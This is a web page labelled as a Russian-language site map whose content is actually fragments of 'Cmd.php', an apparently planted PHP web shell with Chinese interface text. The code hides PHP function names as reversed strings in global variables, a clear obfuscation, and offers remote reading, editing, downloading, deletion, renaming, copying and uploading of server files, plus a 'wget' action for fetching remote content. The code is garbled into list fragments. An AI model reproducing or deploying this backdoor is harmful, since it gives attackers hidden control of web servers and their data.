Карта сайта
Cmd.php
- echo '';
- echo '
- case 'read':
- $fp = resolve($path);
- $bin = @$GLOBALS['stnetnoc_teg_elif']($fp);
- $detected = zp_detect_enc($bin);
- $sel = (isset($_GET['enc']) && in_array(strtolower((string)$_GET['enc']), array('utf-8','gbk','gb2312','big5'), true)) ? strtolower((string)$_GET['enc']) : $detected;
- $disp = ($detected === 'utf-8' || $detected === 'ascii') ? $bin : to_u8($bin);
- head('Edit');
- echo '';' . crumbs(dirname($fp)) . '/' . h(basename($fp)) . '';
- echo '' . h(rel($fp)) . ' (' . strlen($bin) . ' bytes, 自动识别编码: ' . h($detected) . ') ' . perm_cell($fp) . ' mode ' . h(mode_of($fp)) . '';
- if (!can_w($fp)) echo '
⚠ 该文件为只读,保存 / 删除 / 改名都会失败';- if (isset($_GET['err'])) echo '
✗ 保存失败:文件不可写,或被主机防篡改策略拒绝';- elseif (isset($_GET['ok'])) echo '
✓ 已保存';- echo '
- echo '保存编码 ';
- echo ' ';
- echo 'download back
- foot(); exit;
- case 'save':
- $t = isset($_POST['txt']) ? $_POST['txt'] : null;
- if ($t === null) redir('.', 'list');
- $enc = isset($_POST['enc']) ? strtolower((string)$_POST['enc']) : (isset($_GET['enc']) ? strtolower((string)$_GET['enc']) : 'utf-8');
- $ok = @$GLOBALS['stnetnoc_tup_elif'](resolve($path), from_u8($t, $enc));
- header('Location: ' . $self . '?a=read&p64=' . pe(rel(resolve($path))) . '&enc=' . $enc . ($ok === false ? '&err=1' : '&ok=1')); exit;
- case 'dl':
- $fp = resolve($path);
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="' . basename($fp) . '"');
- header('Content-Length: ' . @$GLOBALS['eziselif']($fp));
- @$GLOBALS['elifdaer']($fp); exit;
- case 'del':
- if ($GLOBALS['elif_si']($fp)) @$GLOBALS['knilnu']($fp); elseif ($GLOBALS['rid_si']($fp)) rrmdir($fp);
- redir(rel(parent_of($fp)), 'list');
- case 'ren':
- $to = isset($_GET['to']) ? (string)$_GET['to'] : '';
- if ($to !== '') @$GLOBALS['emaner']($fp, dirname($fp) . '/' . basename($to));
- redir(rel(dirname($fp)), 'list');
- case 'cp':
- if ($to === '') {
- head('Copy');
- echo '';
- $dst = dirname($fp) . '/' . basename($to);
- if ($GLOBALS['rid_si']($fp)) {
- function rcopy($s, $d){
- if (!$GLOBALS['rid_si']($d)) @$GLOBALS['ridkm']($d, 0777, true);
- foreach ($GLOBALS['ridnacs']($s) as $f) {
- $sp = $s . '/' . $f; $dp = $d . '/' . $f;
- if ($GLOBALS['rid_si']($sp)) rcopy($sp, $dp); else @$GLOBALS['ypoc']($sp, $dp);
- rcopy($fp, $dst);
- } else @$GLOBALS['ypoc']($fp, $dst);
- case 'mkdir':
- $name = isset($_GET['name']) ? (string)$_GET['name'] : '';
- if ($name !== '') @$GLOBALS['ridkm'](resolve($path) . '/' . $name, 0777, true);
- redir(rel(resolve($path)), 'list');
- case 'up':
- $upok = false; $upn = ''; $dst = '';
- if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
- $upn = basename($_FILES['f']['name']);
- $dst = resolve($path) . '/' . $upn;
- $upok = @$GLOBALS['elif_dedaolpu_evom']($_FILES['f']['tmp_name'], $dst);
- head('Upload');
- echo '';';
- if ($upok) {
- /* 完整物理路径 */
- $full = str_replace('\\', '/', $dst);
- /* 对应的网址: 仅当文件位于站点根之内 */
- $url = '';
- $dr = rtrim(str_replace('\\', '/', $docroot), '/');
- if ($dr !== '' && stripos($full, $dr . '/') === 0) {
- $rp = substr($full, strlen($dr));
- $sch = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
- $url = $sch . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $rp;
- echo '✓ uploaded: ' . h($upn) . ' (' . (int)$_FILES['f']['size'] . ' bytes)
';- echo '
完整路径';- echo '
' . h($full) . '';- if ($url !== '') {
- echo '';
- echo '
⚠ 文件在站点根目录之外,无对应 URL';- echo '✗ upload failed — 目标目录 ' . perm_cell(resolve($path));
- echo ' back
- case 'wget':
- $dst = resolve($path);
- $rurl = '';
